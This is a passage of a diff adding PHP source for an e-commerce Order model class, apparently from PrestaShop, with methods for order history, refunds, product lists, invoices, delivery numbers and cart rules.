self::TYPE_INT), + 'invoice_date' => array('type' => self::TYPE_DATE), + 'delivery_date' => array('type' => self::TYPE_DATE), + 'valid' => array('type' => self::TYPE_BOOL), + 'reference' => array('type' => self::TYPE_STRING), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + 'date_upd' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + ), + ); + + protected $webserviceParameters = array( + 'objectMethods' => array('add' => 'addWs'), + 'objectNodeName' => 'order', + 'objectsNodeName' => 'orders', + 'fields' => array( + 'id_address_delivery' => array('xlink_resource'=> 'addresses'), + 'id_address_invoice' => array('xlink_resource'=> 'addresses'), + 'id_cart' => array('xlink_resource'=> 'carts'), + 'id_currency' => array('xlink_resource'=> 'currencies'), + 'id_lang' => array('xlink_resource'=> 'languages'), + 'id_customer' => array('xlink_resource'=> 'customers'), + 'id_carrier' => array('xlink_resource'=> 'carriers'), + 'current_state' => array('xlink_resource'=> 'order_states'), + 'module' => array('required' => true), + 'invoice_number' => array(), + 'invoice_date' => array(), + 'delivery_number' => array(), + 'delivery_date' => array(), + 'valid' => array(), + 'date_add' => array(), + 'date_upd' => array(), + ), + 'associations' => array( + 'order_rows' => array('resource' => 'order_row', 'setter' => false, 'virtual_entity' => true, + 'fields' => array( + 'id' => array(), + 'product_id' => array('required' => true), + 'product_attribute_id' => array('required' => true), + 'product_quantity' => array('required' => true), + 'product_name' => array('setter' => false), + 'product_price' => array('setter' => false), + )), + ), + + ); + + protected $_taxCalculationMethod = PS_TAX_EXC; + + protected static $_historyCache = array(); + + public function __construct($id = null, $id_lang = null) + { + parent::__construct($id, $id_lang); + if ($this->id_customer) + { + $customer = new Customer((int)($this->id_customer)); + $this->_taxCalculationMethod = Group::getPriceDisplayMethod((int)($customer->id_default_group)); + } + else + $this->_taxCalculationMethod = Group::getDefaultPriceDisplayMethod(); + } + + /** + * @see ObjectModel::getFields() + * @return array + */ + public function getFields() + { + if (!$this->id_lang) + $this->id_lang = Configuration::get('PS_LANG_DEFAULT', null, null, $this->id_shop); + + return parent::getFields(); + } + + public function add($autodate = true, $null_values = true) + { + if (parent::add($autodate, $null_values)) + return SpecificPrice::deleteByIdCart($this->id_cart); + return false; + } + + public function getTaxCalculationMethod() + { + return (int)($this->_taxCalculationMethod); + } + + /* Does NOT delete a product but "cancel" it (which means return/refund/delete it depending of the case) */ + public function deleteProduct($order, $orderDetail, $quantity) + { + if (!(int)($this->getCurrentState())) + return false; + + if ($this->hasBeenDelivered()) + { + if (!Configuration::get('PS_ORDER_RETURN', null, null, $this->id_shop)) + throw new PrestaShopException('PS_ORDER_RETURN is not defined in table configuration'); + $orderDetail->product_quantity_return += (int)($quantity); + return $orderDetail->update(); + } + elseif ($this->hasBeenPaid()) + { + $orderDetail->product_quantity_refunded += (int)($quantity); + return $orderDetail->update(); + } + return $this->_deleteProduct($orderDetail, (int)$quantity); + } + + /** + * This function return products of the orders + * It's similar to Order::getProducts but witrh similar outputs of Cart::getProducts + * + * @return array + */ + public function getCartProducts() + { + $product_id_list = array(); + foreach ($this->getProducts() as $product) + $product_id_list[] = $this->id_address_delivery.'_' + .$product['product_id'].'_' + .$product['product_attribute_id'].'_' + .(isset($product['id_customization']) ? $product['id_customization'] : '0'); + + $product_list = array(); + foreach ($this->getProducts() as $product) + { + $key = $this->id_address_delivery.'_' + .$product['id_product'].'_' + .(isset($product['id_product_attribute']) ? $product['id_product_attribute'] : '0').'_' + .(isset($product['id_customization']) ? $product['id_customization'] : '0'); + + if (in_array($key, $product_id_list)) + $product_list[] = $product; + } + return $product_list; + } + + /* DOES delete the product */ + protected function _deleteProduct($orderDetail, $quantity) + { + $product_price_tax_excl = $orderDetail->unit_price_tax_excl * $quantity; + $product_price_tax_incl = $orderDetail->unit_price_tax_incl * $quantity; + + /* Update cart */ + $cart = new Cart($this->id_cart); + $cart->updateQty($quantity, $orderDetail->product_id, $orderDetail->product_attribute_id, false, 'down'); // customization are deleted in deleteCustomization + $cart->update(); + + /* Update order */ + $shipping_diff_tax_incl = $this->total_shipping_tax_incl - $cart->getPackageShippingCost($this->id_carrier, true, null, $this->getCartProducts()); + $shipping_diff_tax_excl = $this->total_shipping_tax_excl - $cart->getPackageShippingCost($this->id_carrier, false, null, $this->getCartProducts()); + $this->total_shipping -= $shipping_diff_tax_incl; + $this->total_shipping_tax_excl -= $shipping_diff_tax_excl; + $this->total_shipping_tax_incl -= $shipping_diff_tax_incl; + $this->total_products -= $product_price_tax_excl; + $this->total_products_wt -= $product_price_tax_incl; + $this->total_paid -= $product_price_tax_incl + $shipping_diff_tax_incl; + $this->total_paid_tax_incl -= $product_price_tax_incl + $shipping_diff_tax_incl; + $this->total_paid_tax_excl -= $product_price_tax_excl + $shipping_diff_tax_excl; + $this->total_paid_real -= $product_price_tax_incl + $shipping_diff_tax_incl; + + $fields = array( + 'total_shipping', + 'total_shipping_tax_excl', + 'total_shipping_tax_incl', + 'total_products', + 'total_products_wt', + 'total_paid', + 'total_paid_tax_incl', + 'total_paid_tax_excl', + 'total_paid_real' + ); + + /* Prevent from floating precision issues (total_products has only 2 decimals) */ + foreach ($fields as $field) + if ($this->{$field} < 0) + $this->{$field} = 0; + + /* Prevent from floating precision issues */ + foreach ($fields as $field) + $this->{$field} = number_format($this->{$field}, 2, '.', ''); + + /* Update order detail */ + $orderDetail->product_quantity -= (int)$quantity; + if ($orderDetail->product_quantity == 0) + { + if (!$orderDetail->delete()) + return false; + if (count($this->getProductsDetail()) == 0) + { + $history = new OrderHistory(); + $history->id_order = (int)($this->id); + $history->changeIdOrderState(Configuration::get('PS_OS_CANCELED'), $this); + if (!$history->addWithemail()) + return false; + } + return $this->update(); + } + else + { + $orderDetail->total_price_tax_incl -= $product_price_tax_incl; + $orderDetail->total_price_tax_excl -= $product_price_tax_excl; + $orderDetail->total_shipping_price_tax_incl -= $shipping_diff_tax_incl; + $orderDetail->total_shipping_price_tax_excl -= $shipping_diff_tax_excl; + } + return $orderDetail->update() && $this->update(); + } + + public function deleteCustomization($id_customization, $quantity, $orderDetail) + { + if (!(int)($this->getCurrentState())) + return false; + + if ($this->hasBeenDelivered()) + return Db::getInstance()->execute('UPDATE `'._DB_PREFIX_.'customization` SET `quantity_returned` = `quantity_returned` + '.(int)($quantity).' WHERE `id_customization` = '.(int)($id_customization).' AND `id_cart` = '.(int)($this->id_cart).' AND `id_product` = '.(int)($orderDetail->product_id)); + elseif ($this->hasBeenPaid()) + return Db::getInstance()->execute('UPDATE `'._DB_PREFIX_.'customization` SET `quantity_refunded` = `quantity_refunded` + '.(int)($quantity).' WHERE `id_customization` = '.(int)($id_customization).' AND `id_cart` = '.(int)($this->id_cart).' AND `id_product` = '.(int)($orderDetail->product_id)); + if (!Db::getInstance()->execute('UPDATE `'._DB_PREFIX_.'customization` SET `quantity` = `quantity` - '.(int)($quantity).' WHERE `id_customization` = '.(int)($id_customization).' AND `id_cart` = '.(int)($this->id_cart).' AND `id_product` = '.(int)($orderDetail->product_id))) + return false; + if (!Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'customization` WHERE `quantity` = 0')) + return false; + return $this->_deleteProduct($orderDetail, (int)$quantity); + } + + /** + * Get order history + * + * @param integer $id_lang Language id + * @param integer $id_order_state Filter a specific order state + * @param integer $no_hidden Filter no hidden status + * @param integer $filters Flag to use specific field filter + * + * @return array History entries ordered by date DESC + */ + public function getHistory($id_lang, $id_order_state = false, $no_hidden = false, $filters = 0) + { + if (!$id_order_state) + $id_order_state = 0; + + $logable = false; + $delivery = false; + $paid = false; + $shipped = false; + if ($filters > 0) + { + if ($filters & OrderState::FLAG_NO_HIDDEN) + $no_hidden = true; + if ($filters & OrderState::FLAG_DELIVERY) + $delivery = true; + if ($filters & OrderState::FLAG_LOGABLE) + $logable = true; + if ($filters & OrderState::FLAG_PAID) + $paid = true; + if ($filters & OrderState::FLAG_SHIPPED) + $shipped = true; + } + + if (!isset(self::$_historyCache[$this->id.'_'.$id_order_state.'_'.$filters]) || $no_hidden) + { + $id_lang = $id_lang ? (int)($id_lang) : 'o.`id_lang`'; + $result = Db::getInstance()->executeS(' + SELECT oh.*, e.`firstname` AS employee_firstname, e.`lastname` AS employee_lastname, osl.`name` AS ostate_name + FROM `'._DB_PREFIX_.'orders` o + LEFT JOIN `'._DB_PREFIX_.'order_history` oh ON o.`id_order` = oh.`id_order` + LEFT JOIN `'._DB_PREFIX_.'order_state` os ON os.`id_order_state` = oh.`id_order_state` + LEFT JOIN `'._DB_PREFIX_.'order_state_lang` osl ON (os.`id_order_state` = osl.`id_order_state` AND osl.`id_lang` = '.(int)($id_lang).') + LEFT JOIN `'._DB_PREFIX_.'employee` e ON e.`id_employee` = oh.`id_employee` + WHERE oh.id_order = '.(int)($this->id).' + '.($no_hidden ? ' AND os.hidden = 0' : '').' + '.($logable ? ' AND os.logable = 1' : '').' + '.($delivery ? ' AND os.delivery = 1' : '').' + '.($paid ? ' AND os.paid = 1' : '').' + '.($shipped ? ' AND os.shipped = 1' : '').' + '.((int)($id_order_state) ? ' AND oh.`id_order_state` = '.(int)($id_order_state) : '').' + ORDER BY oh.date_add DESC, oh.id_order_history DESC'); + if ($no_hidden) + return $result; + self::$_historyCache[$this->id.'_'.$id_order_state.'_'.$filters] = $result; + } + return self::$_historyCache[$this->id.'_'.$id_order_state.'_'.$filters]; + } + + public function getProductsDetail() + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'order_detail` od + LEFT JOIN `'._DB_PREFIX_.'product` p ON (p.id_product = od.product_id) + LEFT JOIN `'._DB_PREFIX_.'product_shop` ps ON (ps.id_product = p.id_product AND ps.id_shop = od.id_shop) + WHERE od.`id_order` = '.(int)($this->id)); + } + + public function getFirstMessage() + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT `message` + FROM `'._DB_PREFIX_.'message` + WHERE `id_order` = '.(int)$this->id.' + ORDER BY `id_message` + '); + } + + /** + * Marked as deprecated but should not throw any "deprecated" message + * This function is used in order to keep front office backward compatibility 14 -> 1.5 + * (Order History) + * + * @deprecated + */ + public function setProductPrices(&$row) + { + $tax_calculator = OrderDetail::getTaxCalculatorStatic((int)$row['id_order_detail']); + $row['tax_calculator'] = $tax_calculator; + $row['tax_rate'] = $tax_calculator->getTotalRate(); + + $row['product_price'] = Tools::ps_round($row['unit_price_tax_excl'], 2); + $row['product_price_wt'] = Tools::ps_round($row['unit_price_tax_incl'], 2); + + $group_reduction = 1; + if ($row['group_reduction'] > 0) + $group_reduction = 1 - $row['group_reduction'] / 100; + + $row['product_price_wt_but_ecotax'] = $row['product_price_wt'] - $row['ecotax']; + + $row['total_wt'] = $row['total_price_tax_incl']; + $row['total_price'] = $row['total_price_tax_excl']; + } + + + /** + * Get order products + * + * @return array Products with price, quantity (with taxe and without) + */ + public function getProducts($products = false, $selectedProducts = false, $selectedQty = false) + { + if (!$products) + $products = $this->getProductsDetail(); + + $customized_datas = Product::getAllCustomizedDatas($this->id_cart); + + $resultArray = array(); + foreach ($products as $row) + { + // Change qty if selected + if ($selectedQty) + { + $row['product_quantity'] = 0; + foreach ($selectedProducts as $key => $id_product) + if ($row['id_order_detail'] == $id_product) + $row['product_quantity'] = (int)($selectedQty[$key]); + if (!$row['product_quantity']) + continue; + } + + $this->setProductImageInformations($row); + $this->setProductCurrentStock($row); + + // Backward compatibility 1.4 -> 1.5 + $this->setProductPrices($row); + + $this->setProductCustomizedDatas($row, $customized_datas); + + // Add information for virtual product + if ($row['download_hash'] && !empty($row['download_hash'])) + { + $row['filename'] = ProductDownload::getFilenameFromIdProduct((int)$row['product_id']); + // Get the display filename + $row['display_filename'] = ProductDownload::getFilenameFromFilename($row['filename']); + } + + $row['id_address_delivery'] = $this->id_address_delivery; + + /* Stock product */ + $resultArray[(int)$row['id_order_detail']] = $row; + } + + if ($customized_datas) + Product::addCustomizationPrice($resultArray, $customized_datas); + + return $resultArray; + } + + public static function getIdOrderProduct($id_customer, $id_product) + { + return (int)Db::getInstance()->getValue(' + SELECT o.id_order + FROM '._DB_PREFIX_.'orders o + LEFT JOIN '._DB_PREFIX_.'order_detail od + ON o.id_order = od.id_order + WHERE o.id_customer = '.(int)$id_customer.' + AND od.product_id = '.(int)$id_product.' + ORDER BY o.date_add DESC + '); + } + + protected function setProductCustomizedDatas(&$product, $customized_datas) + { + $product['customizedDatas'] = null; + if (isset($customized_datas[$product['product_id']][$product['product_attribute_id']])) + $product['customizedDatas'] = $customized_datas[$product['product_id']][$product['product_attribute_id']]; + else + $product['customizationQuantityTotal'] = 0; + } + + /** + * + * This method allow to add stock information on a product detail + * + * If advanced stock management is active, get physical stock of this product in the warehouse associated to the ptoduct for the current order + * Else get the available quantity of the product in fucntion of the shop associated to the order + * + * @param array &$product + */ + protected function setProductCurrentStock(&$product) + { + if (Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT') + && (int)$product['advanced_stock_management'] == 1 + && (int)$product['id_warehouse'] > 0) + $product['current_stock'] = StockManagerFactory::getManager()->getProductPhysicalQuantities($product['product_id'], $product['product_attribute_id'], (int)$product['id_warehouse'], true); + else + $product['current_stock'] = StockAvailable::getQuantityAvailableByProduct($product['product_id'], $product['product_attribute_id'], (int)$this->id_shop); + } + + /** + * + * This method allow to add image information on a product detail + * @param array &$product + */ + protected function setProductImageInformations(&$product) + { + if (isset($product['product_attribute_id']) && $product['product_attribute_id']) + $id_image = Db::getInstance()->getValue(' + SELECT image_shop.id_image + FROM '._DB_PREFIX_.'product_attribute_image pai'. + Shop::addSqlAssociation('image', 'pai', true).' + WHERE id_product_attribute = '.(int)$product['product_attribute_id']); + + if (!isset($id_image) || !$id_image) + $id_image = Db::getInstance()->getValue(' + SELECT image_shop.id_image + FROM '._DB_PREFIX_.'image i'. + Shop::addSqlAssociation('image', 'i', true, 'image_shop.cover=1').' + WHERE id_product = '.(int)($product['product_id']) + ); + + $product['image'] = null; + $product['image_size'] = null; + + if ($id_image) + $product['image'] = new Image($id_image); + } + + public function getTaxesAverageUsed() + { + return Cart::getTaxesAverageUsed((int)($this->id_cart)); + } + + /** + * Count virtual products in order + * + * @return int number of virtual products + */ + public function getVirtualProducts() + { + $sql = ' + SELECT `product_id`, `product_attribute_id`, `download_hash`, `download_deadline` + FROM `'._DB_PREFIX_.'order_detail` od + WHERE od.`id_order` = '.(int)($this->id).' + AND `download_hash` <> \'\''; + return Db::getInstance()->executeS($sql); + } + + /** + * Check if order contains (only) virtual products + * + * @param boolean $strict If false return true if there are at least one product virtual + * @return boolean true if is a virtual order or false + * + */ + public function isVirtual($strict = true) + { + $products = $this->getProducts(); + if (count($products) < 1) + return false; + $virtual = true; + foreach ($products as $product) + { + $pd = ProductDownload::getIdFromIdProduct((int)($product['product_id'])); + if ($pd && Validate::isUnsignedInt($pd) && $product['download_hash'] && $product['display_filename'] != '') + { + if ($strict === false) + return true; + } + else + $virtual &= false; + } + return $virtual; + } + + /** + * @deprecated 1.5.0.1 + */ + public function getDiscounts($details = false) + { + Tools::displayAsDeprecated(); + return Order::getCartRules(); + } + + public function getCartRules() + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'order_cart_rule` ocr + LEFT JOIN `'._DB_PREFIX_.'cart_rule` cr ON cr.`id_cart_rule` = ocr.`id_cart_rule` + WHERE ocr.`id_order` = '.(int)$this->id); + } + + public static function getDiscountsCustomer($id_customer, $id_cart_rule) + { + return Db::getInstance()->getValue(' + SELECT COUNT(*) FROM `'._DB_PREFIX_.'orders` o + LEFT JOIN '._DB_PREFIX_.'order_cart_rule ocr ON (ocr.id_order = o.id_order) + WHERE o.id_customer = '.(int)$id_customer.' + AND ocr.id_cart_rule = '.(int)$id_cart_rule); + } + + /** + * Get current order state (eg. Awaiting payment, Delivered...) + * + * @return int Order state id + */ + public function getCurrentState() + { + return $this->current_state; + } + + /** + * Get current order state name (eg. Awaiting payment, Delivered...) + * + * @return array Order state details + */ + public function getCurrentStateFull($id_lang) + { + return Db::getInstance()->getRow(' + SELECT os.`id_order_state`, osl.`name`, os.`logable`, os.`shipped` + FROM `'._DB_PREFIX_.'order_state` os + LEFT JOIN `'._DB_PREFIX_.'order_state_lang` osl ON (osl.`id_order_state` = os.`id_order_state`) + WHERE osl.`id_lang` = '.(int)$id_lang.' AND os.`id_order_state` = '.(int)$this->current_state); + } + + public function hasBeenDelivered() + { + return count($this->getHistory((int)($this->id_lang), false, false, OrderState::FLAG_DELIVERY)); + } + + /** + * Has products returned by the merchant or by the customer? + */ + public function hasProductReturned() + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT IFNULL(SUM(ord.product_quantity), SUM(product_quantity_return)) + FROM `'._DB_PREFIX_.'orders` o + INNER JOIN `'._DB_PREFIX_.'order_detail` od + ON od.id_order = o.id_order + LEFT JOIN `'._DB_PREFIX_.'order_return_detail` ord + ON ord.id_order_detail = od.id_order_detail + WHERE o.id_order = '.(int)$this->id); + } + + public function hasBeenPaid() + { + return count($this->getHistory((int)($this->id_lang), false, false, OrderState::FLAG_PAID)); + } + + public function hasBeenShipped() + { + return count($this->getHistory((int)($this->id_lang), false, false, OrderState::FLAG_SHIPPED)); + } + + public function isInPreparation() + { + return count($this->getHistory((int)($this->id_lang), Configuration::get('PS_OS_PREPARATION'))); + } + + /** + * Checks if the current order state is paid and shipped + * + * @return bool + */ + public function isPaidAndShipped() + { + $order_state = $this->getCurrentOrderState(); + if ($order_state && $order_state->paid && $order_state->shipped) + return true; + return false; + } + + /** + * Get customer orders + * + * @param integer $id_customer Customer id + * @param boolean $showHiddenStatus Display or not hidden order statuses + * @return array Customer orders + */ + public static function getCustomerOrders($id_customer, $showHiddenStatus = false, Context $context = null) + { + if (!$context) + $context = Context::getContext(); + + $res = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT o.*, (SELECT SUM(od.`product_quantity`) FROM `'._DB_PREFIX_.'order_detail` od WHERE od.`id_order` = o.`id_order`) nb_products + FROM `'._DB_PREFIX_.'orders` o + WHERE o.`id_customer` = '.(int)$id_customer.' + GROUP BY o.`id_order` + ORDER BY o.`date_add` DESC'); + if (!$res) + return array(); + + foreach ($res as $key => $val) + { + $res2 = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT os.`id_order_state`, osl.`name` AS order_state, os.`invoice` + FROM `'._DB_PREFIX_.'order_history` oh + LEFT JOIN `'._DB_PREFIX_.'order_state` os ON (os.`id_order_state` = oh.`id_order_state`) + INNER JOIN `'._DB_PREFIX_.'order_state_lang` osl ON (os.`id_order_state` = osl.`id_order_state` AND osl.`id_lang` = '.(int)$context->language->id.') + WHERE oh.`id_order` = '.(int)($val['id_order']).(!$showHiddenStatus ? ' AND os.`hidden` != 1' : '').' + ORDER BY oh.`date_add` DESC, oh.`id_order_history` DESC + LIMIT 1'); + + if ($res2) + $res[$key] = array_merge($res[$key], $res2[0]); + + } + return $res; + } + + public static function getOrdersIdByDate($date_from, $date_to, $id_customer = null, $type = null) + { + $sql = 'SELECT `id_order` + FROM `'._DB_PREFIX_.'orders` + WHERE DATE_ADD(date_upd, INTERVAL -1 DAY) <= \''.pSQL($date_to).'\' AND date_upd >= \''.pSQL($date_from).'\' + '.Shop::addSqlRestriction() + .($type ? ' AND '.pSQL(strval($type)).'_number != 0' : '') + .($id_customer ? ' AND id_customer = '.(int)($id_customer) : ''); + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + + $orders = array(); + foreach ($result as $order) + $orders[] = (int)($order['id_order']); + return $orders; + } + + public static function getOrdersWithInformations($limit = null, Context $context = null) + { + if (!$context) + $context = Context::getContext(); + + $sql = 'SELECT *, ( + SELECT osl.`name` + FROM `'._DB_PREFIX_.'order_state_lang` osl + WHERE osl.`id_order_state` = o.`current_state` + AND osl.`id_lang` = '.(int)$context->language->id.' + LIMIT 1 + ) AS `state_name` + FROM `'._DB_PREFIX_.'orders` o + LEFT JOIN `'._DB_PREFIX_.'customer` c ON (c.`id_customer` = o.`id_customer`) + WHERE 1 + '.Shop::addSqlRestriction(false, 'o').' + ORDER BY o.`date_add` DESC + '.((int)$limit ? 'LIMIT 0, '.(int)$limit : ''); + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + } + + /** + * @deprecated since 1.5.0.2 + * + * @static + * @param $date_from + * @param $date_to + * @param $id_customer + * @param $type + * + * @return array + */ + public static function getOrdersIdInvoiceByDate($date_from, $date_to, $id_customer = null, $type = null) + { + Tools::displayAsDeprecated(); + $sql = 'SELECT `id_order` + FROM `'._DB_PREFIX_.'orders` + WHERE DATE_ADD(invoice_date, INTERVAL -1 DAY) <= \''.pSQL($date_to).'\' AND invoice_date >= \''.pSQL($date_from).'\' + '.Shop::addSqlRestriction() + .($type ? ' AND '.pSQL(strval($type)).'_number != 0' : '') + .($id_customer ? ' AND id_customer = '.(int)($id_customer) : ''). + ' ORDER BY invoice_date ASC'; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + + $orders = array(); + foreach ($result as $order) + $orders[] = (int)$order['id_order']; + return $orders; + } + + /** + * @deprecated 1.5.0.3 + * + * @static + * @param $id_order_state + * @return array + */ + public static function getOrderIdsByStatus($id_order_state) + { + Tools::displayAsDeprecated(); + $sql = 'SELECT id_order + FROM '._DB_PREFIX_.'orders o + WHERE o.`current_state` = '.(int)$id_order_state.' + '.Shop::addSqlRestriction(false, 'o').' + ORDER BY invoice_date ASC'; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + + $orders = array(); + foreach ($result as $order) + $orders[] = (int)($order['id_order']); + return $orders; + } + + /** + * Get product total without taxes + * + * @return Product total with taxes + */ + public function getTotalProductsWithoutTaxes($products = false) + { + return $this->total_products; + } + + /** + * Get product total with taxes + * + * @return Product total with taxes + */ + public function getTotalProductsWithTaxes($products = false) + { + if ($this->total_products_wt != '0.00' && !$products) + return $this->total_products_wt; + /* Retro-compatibility (now set directly on the validateOrder() method) */ + + if (!$products) + $products = $this->getProductsDetail(); + + $return = 0; + foreach ($products as $row) + $return += $row['total_price_tax_incl']; + + if (!$products) + { + $this->total_products_wt = $return; + $this->update(); + } + return $return; + } + + /** + * Get order customer + * + * @return Customer $customer + */ + public function getCustomer() + { + static $customer = null; + if (is_null($customer)) + $customer = new Customer((int)$this->id_customer); + + return $customer; + } + + /** + * Get customer orders number + * + * @param integer $id_customer Customer id + * @return array Customer orders number + */ + public static function getCustomerNbOrders($id_customer) + { + $sql = 'SELECT COUNT(`id_order`) AS nb + FROM `'._DB_PREFIX_.'orders` + WHERE `id_customer` = '.(int)$id_customer + .Shop::addSqlRestriction(); + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql); + + return isset($result['nb']) ? $result['nb'] : 0; + } + + /** + * Get an order by its cart id + * + * @param integer $id_cart Cart id + * @return array Order details + */ + public static function getOrderByCartId($id_cart) + { + $sql = 'SELECT `id_order` + FROM `'._DB_PREFIX_.'orders` + WHERE `id_cart` = '.(int)($id_cart) + .Shop::addSqlRestriction(); + $result = Db::getInstance()->getRow($sql); + + return isset($result['id_order']) ? $result['id_order'] : false; + } + + /** + * @deprecated 1.5.0.1 + * @see Order::addCartRule() + * @param int $id_cart_rule + * @param string $name + * @param float $value + * @return bool + */ + public function addDiscount($id_cart_rule, $name, $value) + { + Tools::displayAsDeprecated(); + return Order::addCartRule($id_cart_rule, $name, array('tax_incl' => $value, 'tax_excl' => '0.00')); + } + + /** + * @since 1.5.0.1 + * @param int $id_cart_rule + * @param string $name + * @param array $values + * @param int $id_order_invoice + * @return bool + */ + public function addCartRule($id_cart_rule, $name, $values, $id_order_invoice = 0, $free_shipping = null) + { + $order_cart_rule = new OrderCartRule(); + $order_cart_rule->id_order = $this->id; + $order_cart_rule->id_cart_rule = $id_cart_rule; + $order_cart_rule->id_order_invoice = $id_order_invoice; + $order_cart_rule->name = $name; + $order_cart_rule->value = $values['tax_incl']; + $order_cart_rule->value_tax_excl = $values['tax_excl']; + if ($free_shipping === null) + { + $cart_rule = new CartRule($id_cart_rule); + $free_shipping = $cart_rule->free_shipping; + } + $order_cart_rule->free_shipping = (int)$free_shipping; + $order_cart_rule->add(); + } + + public function getNumberOfDays() + { + $nbReturnDays = (int)(Configuration::get('PS_ORDER_RETURN_NB_DAYS', null, null, $this->id_shop)); + if (!$nbReturnDays) + return true; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT TO_DAYS(NOW()) - TO_DAYS(`delivery_date`) AS days FROM `'._DB_PREFIX_.'orders` + WHERE `id_order` = '.(int)($this->id)); + if ($result['days'] <= $nbReturnDays) + return true; + return false; + } + + /** + * Can this order be returned by the client? + * + * @return bool + */ + public function isReturnable() + { + if (Configuration::get('PS_ORDER_RETURN', null, null, $this->id_shop) && $this->isPaidAndShipped()) + return $this->getNumberOfDays(); + + return false; + } + + public static function getLastInvoiceNumber() + { + return Db::getInstance()->getValue(' + SELECT MAX(`number`) + FROM `'._DB_PREFIX_.'order_invoice` + '); + } + + /** + * This method allows to generate first invoice of the current order + */ + public function setInvoice($use_existing_payment = false) + { + if (!$this->hasInvoice()) + { + $order_invoice = new OrderInvoice(); + $order_invoice->id_order = $this->id; + $order_invoice->number = Configuration::get('PS_INVOICE_START_NUMBER', null, null, $this->id_shop); + // If invoice start number has been set, you clean the value of this configuration + if ($order_invoice->number) + Configuration::updateValue('PS_INVOICE_START_NUMBER', false, false, null, $this->id_shop); + else + $order_invoice->number = Order::getLastInvoiceNumber() + 1; + + $invoice_address = new Address((int)$this->id_address_invoice); + $carrier = new Carrier((int)$this->id_carrier); + $tax_calculator = $carrier->getTaxCalculator($invoice_address); + + $order_invoice->total_discount_tax_excl = $this->total_discounts_tax_excl; + $order_invoice->total_discount_tax_incl = $this->total_discounts_tax_incl; + $order_invoice->total_paid_tax_excl = $this->total_paid_tax_excl; + $order_invoice->total_paid_tax_incl = $this->total_paid_tax_incl; + $order_invoice->total_products = $this->total_products; + $order_invoice->total_products_wt = $this->total_products_wt; + $order_invoice->total_shipping_tax_excl = $this->total_shipping_tax_excl; + $order_invoice->total_shipping_tax_incl = $this->total_shipping_tax_incl; + $order_invoice->shipping_tax_computation_method = $tax_calculator->computation_method; + $order_invoice->total_wrapping_tax_excl = $this->total_wrapping_tax_excl; + $order_invoice->total_wrapping_tax_incl = $this->total_wrapping_tax_incl; + + // Save Order invoice + $order_invoice->add(); + + $order_invoice->saveCarrierTaxCalculator($tax_calculator->getTaxesAmount($order_invoice->total_shipping_tax_excl)); + + // Update order_carrier + $id_order_carrier = Db::getInstance()->getValue(' + SELECT `id_order_carrier` + FROM `'._DB_PREFIX_.'order_carrier` + WHERE `id_order` = '.(int)$order_invoice->id_order.' + AND (`id_order_invoice` IS NULL OR `id_order_invoice` = 0)'); + + if ($id_order_carrier) + { + $order_carrier = new OrderCarrier($id_order_carrier); + $order_carrier->id_order_invoice = (int)$order_invoice->id; + $order_carrier->update(); + } + + // Update order detail + Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'order_detail` + SET `id_order_invoice` = '.(int)$order_invoice->id.' + WHERE `id_order` = '.(int)$order_invoice->id_order); + + // Update order payment + if ($use_existing_payment) + { + $id_order_payments = Db::getInstance()->executeS(' + SELECT op.id_order_payment + FROM `'._DB_PREFIX_.'order_payment` op + INNER JOIN `'._DB_PREFIX_.'orders` o ON (o.reference = op.order_reference) + LEFT JOIN `'._DB_PREFIX_.'order_invoice_payment` oip ON (oip.id_order_payment = op.id_order_payment) + WHERE oip.id_order_payment IS NULL AND o.id_order = '.(int)$order_invoice->id_order); + + if (count($id_order_payments)) + foreach ($id_order_payments as $order_payment) + Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'order_invoice_payment` + SET + `id_order_invoice` = '.(int)$order_invoice->id.', + `id_order_payment` = '.(int)$order_payment['id_order_payment'].', + `id_order` = '.(int)$order_invoice->id_order); + } + + // Update order cart rule + Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'order_cart_rule` + SET `id_order_invoice` = '.(int)$order_invoice->id.' + WHERE `id_order` = '.(int)$order_invoice->id_order); + + // Keep it for backward compatibility, to remove on 1.6 version + $this->invoice_date = $order_invoice->date_add; + $this->invoice_number = $order_invoice->number; + $this->update(); + } + } + + public function setDelivery() + { + // Get all invoice + $order_invoice_collection = $this->getInvoicesCollection(); + foreach ($order_invoice_collection as $order_invoice) + { + if ($order_invoice->delivery_number) + continue; + + $number = (int)Configuration::get('PS_DELIVERY_NUMBER', null, null, $this->id_shop); + if (!$number) + { + //if delivery number is not set or wrong, we set a default one. + Configuration::updateValue('PS_DELIVERY_NUMBER', 1, false, null, $this->id_shop); + $number = 1; + } + + // Set delivery number on invoice + $order_invoice->delivery_number = $number; + $order_invoice->delivery_date = date('Y-m-d H:i:s'); + // Update Order Invoice + $order_invoice->update(); + + // Keep for backward compatibility + $this->delivery_number = $number; + Configuration::updateValue('PS_DELIVERY_NUMBER', $number + 1, false, null, $this->id_shop); + } + + // Keep it for backward compatibility, to remove on 1.6 version + // Set delivery date + $this->delivery_date = date('Y-m-d H:i:s'); + // Update object + $this->update(); + } + + public static function getByDelivery($id_delivery) + { + $sql = 'SELECT id_order + FROM `'._DB_PREFIX_.'orders` + WHERE `delivery_number` = '.(int)($id_delivery).' + '.Shop::addSqlRestriction(); + $res = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql); + return new Order((int)($res['id_order'])); + } + + /** + * Get a collection of orders using reference + * + * @since 1.5.0.14 + * + * @param string $reference + * @return Collection of Order + */ + public static function 